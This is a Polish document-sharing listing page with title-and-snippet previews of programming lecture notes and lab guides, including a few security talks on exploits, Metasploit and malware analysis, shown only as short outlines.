Sieciowa komunikacja procesów - XDR i RPC *** abc.x Przyklad pliku RPCGEN Obliczanie sumy, roznicy i iloczynu dwoch liczb calkowitych *** ************************************ Wywolanie procedury odleglej dopuszcza tylko jeden argument wywolania

Bardziej szczegółowo

BAZY DANYCH. Obsługa bazy z poziomu języka PHP. opracowanie: Michał Lech

BAZY DANYCH. Obsługa bazy z poziomu języka PHP. opracowanie: Michał Lech BAZY DANYCH Obsługa bazy z poziomu języka PHP opracowanie: Michał Lech Plan wykładu 1. PHP - co to jest? 2. Bazy danych obsługiwane przez PHP 3. Podstawowe polecenia 4. Sesje 5. Przykład - dodawanie towaru

Bardziej szczegółowo

PROGRAMOWANIE NISKOPOZIOMOWE. Struktury w C. Przykład struktury PN.06. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

PROGRAMOWANIE NISKOPOZIOMOWE. Struktury w C. Przykład struktury PN.06. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012 PROGRAMOWANIE NISKOPOZIOMOWE PN.06 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 1 2 Ćwiczenia laboratoryjne c Dr inż. Ignacy Pardyka (Inf.UJK) PN.06 Rok akad.

Bardziej szczegółowo

Faktura Orange z 11 lipca 2014 roku zawierająca złośliwe oprogramowanie ANALIZA

Faktura Orange z 11 lipca 2014 roku zawierająca złośliwe oprogramowanie ANALIZA Faktura Orange z 11 lipca 2014 roku zawierająca złośliwe oprogramowanie ANALIZA 21 Lipiec, 2014 W dniu 11 lipca 2014 zarejestrowaliśmy kolejną kampanię polegającą na rozsyłaniu złośliwego oprogramowania

Bardziej szczegółowo

Najbardziej popularne metody włamań

Najbardziej popularne metody włamań Prezentacja: Najbardziej popularne metody włamań Aleksander Grygiel Plan prezentacji Skanery portów Ataki przez przepełnienie bufora Ataki z wykorzystaniem dowiązań w /tmp Ataki odmowy dostępu Skanowanie

Bardziej szczegółowo

Tworzenie oprogramowania

Tworzenie oprogramowania Tworzenie oprogramowania Język C Budowa programu napisanego w języku C podział na pliki z definicjami funkcji, korzystanie z bibliotek systemowych i własnych automatyzacja kompilacji za pomocą make dzielenie

Bardziej szczegółowo

Protokół komunikacyjny sondy cyfrowej CS-26/RS-485 (lub RS-232)

Protokół komunikacyjny sondy cyfrowej CS-26/RS-485 (lub RS-232) 2011-07-04 Protokół komunikacyjny sondy cyfrowej CS-26/RS-485 (lub RS-232) Parametry transmisji : 9600, N, 8, 1 Sonda CS-26/RS-485 dołączona do interfejsu RS-485 pracuje poprawnie w trybie half-duplex.

Bardziej szczegółowo

Programowanie niskopoziomowe

Programowanie niskopoziomowe Programowanie niskopoziomowe Programowanie niskopoziomowe w systemie operacyjnym oraz poza nim Tworzenie programu zawierającego procedury asemblerowe 1 Programowanie niskopoziomowe w systemie operacyjnym

Bardziej szczegółowo

Ćwiczenia 2 IBM DB2 Data Studio

Ćwiczenia 2 IBM DB2 Data Studio Ćwiczenia 2 IBM DB2 Data Studio Temat: Aplikacje w Data Studio 1. Projekty Tworzenie procedur, UDF, trygerów zaczynamy od utworzenia projektu File -> New -> Project wybieramy Data Development Project.

Bardziej szczegółowo

Gniazda - Wstęp. Oprogramowanie systemów równoległych i rozproszonych. Sposób komunikacji. Domena adresowa. olas@icis.pcz.pl

Gniazda - Wstęp. Oprogramowanie systemów równoległych i rozproszonych. Sposób komunikacji. Domena adresowa. olas@icis.pcz.pl Gniazda - Wstęp Oprogramowanie systemów równoległych i rozproszonych Dr inż. Tomasz Olas olas@icis.pcz.pl Instytut Informatyki Teoretycznej i Stosowanej Politechnika Częstochowska Domena adresowa 1/??

Bardziej szczegółowo

Język ludzki kod maszynowy

Język ludzki kod maszynowy Język ludzki kod maszynowy poziom wysoki Język ludzki (mowa) Język programowania wysokiego poziomu Jeśli liczba punktów jest większa niż 50, test zostaje zaliczony; w przeciwnym razie testu nie zalicza

Bardziej szczegółowo

PROGRAMOWANIE NISKOPOZIOMOWE. Systemy liczbowe. Pamięć PN.01. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012

PROGRAMOWANIE NISKOPOZIOMOWE. Systemy liczbowe. Pamięć PN.01. c Dr inż. Ignacy Pardyka. Rok akad. 2011/2012 PROGRAMOWANIE NISKOPOZIOMOWE PN.01 c Dr inż. Ignacy Pardyka UNIWERSYTET JANA KOCHANOWSKIEGO w Kielcach Rok akad. 2011/2012 1 2 4 c Dr inż. Ignacy Pardyka (Inf.UJK) PN.01 Rok akad. 2011/2012 1 / 27 c Dr

Bardziej szczegółowo

Wstęp. do języka C na procesor 8051. (kompilator RC51)

Wstęp. do języka C na procesor 8051. (kompilator RC51) Wstęp do języka C na procesor 8051 (kompilator RC51) Kompilator języka C Kompilator RC51 jest kompilatorem języka C w standardzie ANSI Ograniczeń w stosunku do ANSI jest niewiele głównie rzadkie operacje

Bardziej szczegółowo

JĘZYK PYTHON - NARZĘDZIE DLA KAŻDEGO NAUKOWCA. Marcin Lewandowski [ mlew@ippt.gov.pl ]

JĘZYK PYTHON - NARZĘDZIE DLA KAŻDEGO NAUKOWCA. Marcin Lewandowski [ mlew@ippt.gov.pl ] JĘZYK PYTHON - NARZĘDZIE DLA KAŻDEGO NAUKOWCA Marcin Lewandowski [ mlew@ippt.gov.pl ] PROGRAMOWANIE SIECIOWE 2 TCP/IP = UDP + TCP TCP/IP składa się z dwóch podstawowych protokołów: TCP i UDP. TCP jest

Bardziej szczegółowo

Metody Realizacji Języków Programowania

Metody Realizacji Języków Programowania Metody Realizacji Języków Programowania Bardzo krótki kurs asemblera x86 Marcin Benke MIM UW 10 stycznia 2011 Marcin Benke (MIM UW) Metody Realizacji Języków Programowania 10 stycznia 2011 1 / 22 Uwagi

Bardziej szczegółowo

Temat zajęć: Tworzenie i obsługa wątków.

Temat zajęć: Tworzenie i obsługa wątków. Temat zajęć: Tworzenie i obsługa wątków. Czas realizacji zajęć: 180 min. Zakres materiału, jaki zostanie zrealizowany podczas zajęć: Tworzenie wątków, przekazywanie parametrów do funkcji wątków i pobieranie

Bardziej szczegółowo

Co to jest sterta? Sterta (ang. heap) to obszar pamięci udostępniany przez system operacyjny wszystkim działającym programom (procesom).

Co to jest sterta? Sterta (ang. heap) to obszar pamięci udostępniany przez system operacyjny wszystkim działającym programom (procesom). Zarządzanie pamięcią Pamięć: stos i sterta Statyczny i dynamiczny przydział pamięci Funkcje ANSI C do zarządzania pamięcią Przykłady: Dynamiczna tablica jednowymiarowa Dynamiczna tablica dwuwymiarowa 154

Bardziej szczegółowo

MeetingHelper. Aplikacja Android ułatwiająca przekazywanie materiałów pomiędzy uczestnikami spotkania. Instrukcja obsługi dla programisty

MeetingHelper. Aplikacja Android ułatwiająca przekazywanie materiałów pomiędzy uczestnikami spotkania. Instrukcja obsługi dla programisty MeetingHelper Aplikacja Android ułatwiająca przekazywanie materiałów pomiędzy uczestnikami spotkania Instrukcja obsługi dla programisty W tej części został zawarty opis uruchamiania projektu programistycznego,

Bardziej szczegółowo

Snifery wbudowane w Microsoft Windows

Snifery wbudowane w Microsoft Windows Snifery wbudowane w Microsoft Windows Prezentację przygotowali: Robert Milczarski Łukasz Stegliński Maciej Łaski Network Monitorw w Microsoft Windows Server 2003 Wbudowany w Windows monitor sieci wykorzystywany

Bardziej szczegółowo

Zdalna obsługa transcievera. H A M R A D I O D E L U X E R e m o t e S e r v e r C o n f i g u r a t i o n

Zdalna obsługa transcievera. H A M R A D I O D E L U X E R e m o t e S e r v e r C o n f i g u r a t i o n Zdalna obsługa transcievera H A M R A D I O D E L U X E R e m o t e S e r v e r C o n f i g u r a t i o n Do poprawnej pracy zdalnego dostępu do radiostacji, niezbędne jest działające oprogramowanie Ham

Bardziej szczegółowo

2.1. W architekturze MIPS, na liście instrukcji widzimy dwie instrukcje dotyczące funkcji: .text main: la $a0, string1 # drukuj pierwszy łańcuch

2.1. W architekturze MIPS, na liście instrukcji widzimy dwie instrukcje dotyczące funkcji: .text main: la $a0, string1 # drukuj pierwszy łańcuch ARCHITEKTURA SYSTEMÓW KOMPUTEROWYCH: Instrukcja do laboratorium 4, (2x2h) Opracowanie i prowadzenie: dr inż. Ignacy Pardyka, Uniwersytet Jana Kochanowskiego w Kielcach Temat: Architektura MIPS: wywołanie

Bardziej szczegółowo

PROGRAMY REZYDENTNE Terminate and State Resident, TSR

PROGRAMY REZYDENTNE Terminate and State Resident, TSR PROGRAMY REZYDENTNE Terminate and State Resident, TSR O co tu chodzi Podstawowe reguły Jak może program zostać rezydentnym Przechwytywanie przerwań Jak się samoznaleźć w pamięci Aktywacja TSR-u. Problemy

Bardziej szczegółowo

1. Model klient-serwer

1. Model klient-serwer 1. Model klient-serwer 1.1. Model komunikacji w sieci łącze komunikacyjne klient serwer Tradycyjny podział zadań: Klient strona żądająca dostępu do danej usługi lub zasobu Serwer strona, która świadczy

Bardziej szczegółowo

Adam Kotynia, Łukasz Kowalczyk

Adam Kotynia, Łukasz Kowalczyk Adam Kotynia, Łukasz Kowalczyk Dynamiczna alokacja pamięci Alokacja pamięci oraz dezalokacja pamięci jest to odpowiednio przydział i zwolnienie ciągłego obszaru pamięci. Po uruchomieniu, proces (program)

Bardziej szczegółowo

Grzegorz Cygan. Wstęp do programowania mikrosterowników w języku C

Grzegorz Cygan. Wstęp do programowania mikrosterowników w języku C Grzegorz Cygan Wstęp do programowania mikrosterowników w języku C Mikrosterownik Inne nazwy: Microcontroler (z języka angielskiego) Ta nazwa jest powszechnie używana w Polsce. Mikrokomputer jednoukładowy

Bardziej szczegółowo

RPC Remote Procedural Call. Materiały do prezentacji można znaleźć na stronie: http://www.houp.info/rpc

RPC Remote Procedural Call. Materiały do prezentacji można znaleźć na stronie: http://www.houp.info/rpc RPC Remote Procedural Call Materiały do prezentacji można znaleźć na stronie: http://www.houp.info/rpc 1 Wprowadzenie Podstawowe założenia RPC: Program uruchamiany na maszynie A może wywołać procedurę

Bardziej szczegółowo

Wstęp do programowania 1

Wstęp do programowania 1 Wstęp do programowania 1 Struktury Bożena Woźna-Szcześniak bwozna@gmail.com Jan Długosz University, Poland Wykład 12 Struktura dla dat - przykład #include struct Date { int y; short m; short

Bardziej szczegółowo

S Z K O Ł A H A K E R Ó W

S Z K O Ł A H A K E R Ó W S ZKOŁA HAKERÓW S ZKOŁA HAKERÓW EDYCJA 2.0 Podręcznik Interaktywny zestaw edukacyjny Tytuł: Szkoła Hakerów Podręcznik Wydanie trzecie, poprawione. ISBN: 83-9237-450-9 Copyright 2009 by wydawnictwo CSH.

Bardziej szczegółowo

x86 vs x64 architektura procesora a exploitacja w systemie Windows Mateusz j00ru Jurczyk SecDay, Wrocław 2010

x86 vs x64 architektura procesora a exploitacja w systemie Windows Mateusz j00ru Jurczyk SecDay, Wrocław 2010 x86 vs x64 architektura procesora a exploitacja w systemie Windows Mateusz j00ru Jurczyk SecDay, Wrocław 2010 O mnie Reverse engineer @ Hispasec Vulnerability researcher Vexillium (http://vexillium.org)

Bardziej szczegółowo

Wykład VI. Programowanie. dr inż. Janusz Słupik. Gliwice, 2014. Wydział Matematyki Stosowanej Politechniki Śląskiej. c Copyright 2014 Janusz Słupik

Wykład VI. Programowanie. dr inż. Janusz Słupik. Gliwice, 2014. Wydział Matematyki Stosowanej Politechniki Śląskiej. c Copyright 2014 Janusz Słupik Wykład VI Wydział Matematyki Stosowanej Politechniki Śląskiej Gliwice, 2014 c Copyright 2014 Janusz Słupik Operacje na plikach Operacje na plikach Aby móc korzystać z pliku należy go otworzyć w odpowiednim

Bardziej szczegółowo

Komunikator internetowy w C#

Komunikator internetowy w C# PAŃSTWOWA WYśSZA SZKOŁA ZAWODOWA W ELBLĄGU INSTYTUT INFORMATYKI STOSOWANEJ Sprawozdanie Komunikator internetowy w C# autor: Artur Domachowski Elbląg, 2009 r. Komunikacja przy uŝyciu poczty internetowej

Bardziej szczegółowo

Programowanie mikrokontrolerów AVR

Programowanie mikrokontrolerów AVR Programowanie mikrokontrolerów AVR Czym jest mikrokontroler? Mikrokontroler jest małym komputerem podłączanym do układów elektronicznych. Pamięć RAM/ROM CPU wykonuje program Układy I/O Komunikacje ze światem

Bardziej szczegółowo

METODY I JĘZYKI PROGRAMOWANIA PROGRAMOWANIE STRUKTURALNE. Wykład 02

METODY I JĘZYKI PROGRAMOWANIA PROGRAMOWANIE STRUKTURALNE. Wykład 02 METODY I JĘZYKI PROGRAMOWANIA PROGRAMOWANIE STRUKTURALNE Wykład 02 NAJPROSTSZY PROGRAM /* (Prawie) najprostszy przykład programu w C */ /*==================*/ /* Między tymi znaczkami można pisać, co się

Bardziej szczegółowo

... Ireneusz Mrozek. Wydział Informatyki

... Ireneusz Mrozek. Wydział Informatyki Ireneusz Mrozek Wydział Informatyki Proces wykonujcy si program Proces jednostka pracy systemu zarzdzan przez system operacyjny. W skład procesu wchodz: - program; - dane - zawarto rejestrów, stosu; -

Bardziej szczegółowo

Procedura aktualizacji systemu TelkomBud. dla serwera DBfC w wersji 4.x

Procedura aktualizacji systemu TelkomBud. dla serwera DBfC w wersji 4.x Procedura aktualizacji systemu TelkomBud dla serwera DBfC w wersji 4.x Ostatnią aktualizacją, która jest ładowana według tej procedury to 139.0 lub 138.9! Główna zasada kolejności instalacji aktualizacji.

Bardziej szczegółowo

Metodyki i Techniki Programowania 1 1 1. MECHANIZM POWSTAWANIA PROGRAMU W JĘZYKU C PODSTAWOWE POJĘCIA

Metodyki i Techniki Programowania 1 1 1. MECHANIZM POWSTAWANIA PROGRAMU W JĘZYKU C PODSTAWOWE POJĘCIA Metodyki i Techniki Programowania 1 1 ZAJ CIA 3. 1. MECHANIZM POWSTAWANIA PROGRAMU W JĘZYKU C PODSTAWOWE POJĘCIA IDE zintegrowane środowisko programistyczne, zawierające kompilator, edytor tekstu i linker,

Bardziej szczegółowo

Informatyka, Ćwiczenie 1. 1. Uruchomienie Microsoft Visual C++ Politechnika Rzeszowska, Wojciech Szydełko. I. ZałoŜenie nowego projektu

Informatyka, Ćwiczenie 1. 1. Uruchomienie Microsoft Visual C++ Politechnika Rzeszowska, Wojciech Szydełko. I. ZałoŜenie nowego projektu Informatyka, Ćwiczenie 1 1. Uruchomienie Microsoft Visual C++ I. ZałoŜenie nowego projektu Wybieramy menu: File>New>Files jak na rys. poniŝej Zapisujemy projekt pod nazwą LAN, w katalogu d:\temp\lab typu

Bardziej szczegółowo

Dzisiejszy wykład. Wzorce projektowe. Visitor Client-Server Factory Singleton

Dzisiejszy wykład. Wzorce projektowe. Visitor Client-Server Factory Singleton Dzisiejszy wykład Wzorce projektowe Visitor Client-Server Factory Singleton 1 Wzorzec projektowy Wzorzec nazwana generalizacja opisująca elementy i relacje rozwiązania powszechnie występującego problemu

Bardziej szczegółowo

Laboratorium 6: Dynamiczny przydział pamięci. dr inż. Arkadiusz Chrobot dr inż. Grzegorz Łukawski

Laboratorium 6: Dynamiczny przydział pamięci. dr inż. Arkadiusz Chrobot dr inż. Grzegorz Łukawski Laboratorium 6: Dynamiczny przydział pamięci dr inż. Arkadiusz Chrobot dr inż. Grzegorz Łukawski 15 maja 2015 1. Wprowadzenie Instrukcja poświęcona jest dynamicznemu przydziałowi i zwalnianiu pamięci w

Bardziej szczegółowo

Aplikacje WWW - laboratorium

Aplikacje WWW - laboratorium Aplikacje WWW - laboratorium PHP + bazy danych Celem ćwiczenia jest przygotowanie prostej aplikacji internetowej wykorzystującej technologię PHP. Aplikacja pokazuje takie aspekty, współpraca PHP z bazami

Bardziej szczegółowo

Reverse Engineerging. Dawid Zarzycki

Reverse Engineerging. Dawid Zarzycki Reverse Engineerging Dawid Zarzycki Plan prezentacji Definicja Reverse Engineering Zastosowanie RE Pojęcia Podstawy budowy pliku Portable Executable Pamięd, proces i PE Język programowania Asembler Etapy

Bardziej szczegółowo

Programowanie Niskopoziomowe

Programowanie Niskopoziomowe Programowanie Niskopoziomowe Wykład 11: Procedury zaawansowane Dr inż. Marek Mika Państwowa Wyższa Szkoła Zawodowa im. Jana Amosa Komeńskiego W Lesznie Plan Wstęp Ramki stosu Rekurencja INVOKE, ADDR, PROC,

Bardziej szczegółowo

Metasploit Part 1. The Beginning

Metasploit Part 1. The Beginning Metasploit Part 1 The Beginning Co to jest Metasploit? Historiia Terminologia Rodzaje Payload ów Opisy modułów Podstawy Konsoli Agenda Metasploit... czyli? Framework do pentestów Napisany w Ruby Zawiera

Bardziej szczegółowo

1.Wstęp. 2.Generowanie systemu w EDK

1.Wstęp. 2.Generowanie systemu w EDK 1.Wstęp Celem niniejszego ćwiczenia jest zapoznanie z możliwościami debuggowania kodu na platformie MicroBlaze oraz zapoznanie ze środowiskiem wspomagającym prace programisty Xilinx Platform SDK (Eclipse).

Bardziej szczegółowo

Biuletyn techniczny. Konfiguracja połączenie z serwerem MSSQL 2000 CDN OPT!MA 11.0. Copyright 2006 COMARCH SA

Biuletyn techniczny. Konfiguracja połączenie z serwerem MSSQL 2000 CDN OPT!MA 11.0. Copyright 2006 COMARCH SA Biuletyn techniczny CDN OPT!MA 11.0. Konfiguracja połączenie z serwerem MSSQL 2000 Copyright 2006 COMARCH SA Połączenie z serwerem MSSQL 2000 CDN OPTIMA jest aplikacją wykorzystującą technologię SQL. Pod

Bardziej szczegółowo

Programowanie obiektowe

Programowanie obiektowe Programowanie obiektowe Laboratorium 1. Wstęp do programowania w języku Java. Narzędzia 1. Aby móc tworzyć programy w języku Java, potrzebny jest zestaw narzędzi Java Development Kit, który można ściągnąć

Bardziej szczegółowo

!"#!"$%! %$"#%!!$! www.falownikilg.pl !"!#$ )&! &

!#!$%! %$#%!!$! www.falownikilg.pl !!#$ )&! & !"#!"$%! %$"#%!!$! &#'#%$ ()*%$"#% %& %& &&& )&! * )&! &!"!#$ &'( & &# +,,- www.falownikilg.pl 0)1$!"$$&2&$$! 34&$!"$+$"5 / #'( =( &#( & #& ( "( ('!! (& "!('( # #'( + #-1 / &* # '( #&'( #"! "!(!#= ( (

Bardziej szczegółowo

Wykład 15. Literatura. Kompilatory. Elementarne różnice. Preprocesor. Słowa kluczowe

Wykład 15. Literatura. Kompilatory. Elementarne różnice. Preprocesor. Słowa kluczowe Wykład 15 Wprowadzenie do języka na bazie a Literatura Podobieństwa i różnice Literatura B.W.Kernighan, D.M.Ritchie Język ANSI Kompilatory Elementarne różnice Turbo Delphi FP Kylix GNU (gcc) GNU ++ (g++)

Bardziej szczegółowo

Inż. Kamil Kujawski Inż. Krzysztof Krefta. Wykład w ramach zajęć Akademia ETI

Inż. Kamil Kujawski Inż. Krzysztof Krefta. Wykład w ramach zajęć Akademia ETI Inż. Kamil Kujawski Inż. Krzysztof Krefta Wykład w ramach zajęć Akademia ETI Metody programowania Assembler Język C BASCOM Assembler kod maszynowy Zalety: Najbardziej efektywny Intencje programisty są

Bardziej szczegółowo

Wprowadzenie do programowania w języku C

Wprowadzenie do programowania w języku C Wprowadzenie do programowania w języku C Część trzecia Autor Roman Simiński Kontakt siminski@us.edu.pl www.us.edu.pl/~siminski Niniejsze opracowanie zawiera skrót treści wykładu, lektura tych materiałów

Bardziej szczegółowo

Temat: Dynamiczne przydzielanie i zwalnianie pamięci. Struktura listy operacje wstawiania, wyszukiwania oraz usuwania danych.

Temat: Dynamiczne przydzielanie i zwalnianie pamięci. Struktura listy operacje wstawiania, wyszukiwania oraz usuwania danych. Temat: Dynamiczne przydzielanie i zwalnianie pamięci. Struktura listy operacje wstawiania, wyszukiwania oraz usuwania danych. 1. Rodzaje pamięci używanej w programach Pamięć komputera, dostępna dla programu,

Bardziej szczegółowo

Adam Zabrocki http://pi3.hack.pl pi3@itsec.pl (lub oficjalnie: adam.zabrocki@avet.com.pl)

Adam Zabrocki http://pi3.hack.pl pi3@itsec.pl (lub oficjalnie: adam.zabrocki@avet.com.pl) Włamania do systemów w Linux Adam Zabrocki http://pi3.hack.pl pi3@itsec.pl (lub oficjalnie: adam.zabrocki@avet.com.pl) Włamania do systemów w Linux Dlaczego Linux? Jądro 2.4 a 2.6 Włamania do systemów

Bardziej szczegółowo

Allegro5 część 1 - Witaj Świecie! Projekt, inicjalizacja, tworzenie okna, czcionki. Autor: Kamil Krzyszczuk - C mons

Allegro5 część 1 - Witaj Świecie! Projekt, inicjalizacja, tworzenie okna, czcionki. Autor: Kamil Krzyszczuk - C mons Allegro5 część 1 - Witaj Świecie! Projekt, inicjalizacja, tworzenie okna, czcionki. Autor: Kamil Krzyszczuk - C mons 1.Wstęp Witam w pierwszej części mojego kursu za pomocą którego dowiesz się jak stworzyć

Bardziej szczegółowo

14. POZOSTAŁE CIEKAWE FUNKCJE

14. POZOSTAŁE CIEKAWE FUNKCJE 14. POZOSTAŁE CIEKAWE FUNKCJE Funkcji jest cała masa, których nie poruszono w tym kursie. Bardziej ciekawe postaram się właśnie w tej lekcji omówić. Na pewno wielu z Was, czeka z niecierpliwością na funkcję

Bardziej szczegółowo

AKADEMIA GÓRNICZO-HUTNICZA. Wydział Elektrotechniki, Automatyki, Informatyki i Elektroniki KATEDRA INFORMATYKI. SyncFile

AKADEMIA GÓRNICZO-HUTNICZA. Wydział Elektrotechniki, Automatyki, Informatyki i Elektroniki KATEDRA INFORMATYKI. SyncFile AKADEMIA GÓRNICZO-HUTNICZA Wydział Elektrotechniki, Automatyki, Informatyki i Elektroniki KATEDRA INFORMATYKI Document wizyjny dla projektu Wersja 0.1-5 z dnia 2006-11-14 Kierunek, rok studiów: Informatyka,

Bardziej szczegółowo

Programowanie. Sylwester Arabas. prowadzący ćwiczenia: Magdalena Kuich, Krzysztof Piasecki, Łukasz Dulny. Wydział Fizyki Uniwersytetu Warszawskiego

Programowanie. Sylwester Arabas. prowadzący ćwiczenia: Magdalena Kuich, Krzysztof Piasecki, Łukasz Dulny. Wydział Fizyki Uniwersytetu Warszawskiego Programowanie Sylwester Arabas prowadzący ćwiczenia: Magdalena Kuich, Krzysztof Piasecki, Łukasz Dulny Wydział Fizyki Uniwersytetu Warszawskiego wykład VIII 15. kwietnia 2015 r. na ostatnim wykładzie...

Bardziej szczegółowo

Narzędzie konfiguracji rozruchu

Narzędzie konfiguracji rozruchu Narzędzie konfiguracji rozruchu 1. By skorzystać z narzędzia konfiguracji rozruchu na początek konieczne jest utworzenie płyty ratunkowej bądź wykorzystanie narzędzia IT Edition i uruchomienie maszyny

Bardziej szczegółowo

Środowisko Keil. Spis treści. Krzysztof Świentek. Systemy wbudowane. 1 Trochę teorii. 2 Keil

Środowisko Keil. Spis treści. Krzysztof Świentek. Systemy wbudowane. 1 Trochę teorii. 2 Keil Środowisko Krzysztof Świentek Systemy wbudowane Spis treści 1 2 Źródła 1 http://infocenter.arm.com 2 http://www.keil.com/arm/mdk.asp 3 http://pl.wikipedia.org Spis treści 1 2 Co to jest toolchain? Zbiór

Bardziej szczegółowo

Wybrane metody ataków na systemy Oracle

Wybrane metody ataków na systemy Oracle Wybrane metody ataków na systemy Oracle Warsztat PLOUG'20 Wojciech Dworakowski Oracle Do niedawna uwaŝany za system bezpieczny Powód: brak badań brak dostępu do software brak zainteresowania badaczy produktami

Bardziej szczegółowo

Instalacja programu Ozon.

Instalacja programu Ozon. Instalacja programu Ozon. Przykładowa topologia sieci w której moŝe pracować program Ozon: Jak widać na powyŝszym obrazku baza danych zainstalowana jest na jednym komputerze, który określany jest mianem

Bardziej szczegółowo

Podstawy programowania

Podstawy programowania Podstawy programowania Część pierwsza Od języka symbolicznego do języka wysokiego poziomu Autor Roman Simiński Kontakt roman.siminski@us.edu.pl www.us.edu.pl/~siminski Niniejsze opracowanie zawiera skrót

Bardziej szczegółowo

1. Tworzenie nowego projektu.

1. Tworzenie nowego projektu. Załącznik do Instrukcji 1. Tworzenie nowego projektu. Wybieramy opcję z menu głównego New->QNX C Project. Wprowadzamy nazwę przechodzimy do następnego kroku NEXT. Wybieramy platformę docelową oraz warianty

Bardziej szczegółowo

Architektura komputerów. Asembler procesorów rodziny x86

Architektura komputerów. Asembler procesorów rodziny x86 Architektura komputerów Asembler procesorów rodziny x86 Architektura komputerów Asembler procesorów rodziny x86 Rozkazy mikroprocesora Rozkazy mikroprocesora 8086 można podzielić na siedem funkcjonalnych

Bardziej szczegółowo

Ćwiczenie 1. Kolejki IBM Message Queue (MQ)

Ćwiczenie 1. Kolejki IBM Message Queue (MQ) Ćwiczenie 1. Kolejki IBM Message Queue (MQ) 1. Przygotowanie Przed rozpoczęciem pracy, należy uruchomić "Kreator przygotowania WebSphere MQ" oraz przejść przez wszystkie kroki kreatora, na końcu zaznaczając

Bardziej szczegółowo

Exploity, Rootkity i Shell Code. Bartłomiej Rusiniak

Exploity, Rootkity i Shell Code. Bartłomiej Rusiniak Exploity, Rootkity i Shell Code Bartłomiej Rusiniak Styczeń 2003 Spis treści 1 Exploity 2 1.1 Błędy semantyczne.............................. 3 1.2 Błędy systemowe............................... 5 1.2.1

Bardziej szczegółowo

Programowanie sieciowe

Programowanie sieciowe Programowanie sieciowe email: dawid@us.edu.pl Programowanie warstwy transportu. - Berkeley sockets. - koncepcja gniazda - bibliteka sockets (connect(),socket(),bind(),listen(),accept(),read(),write() )

Bardziej szczegółowo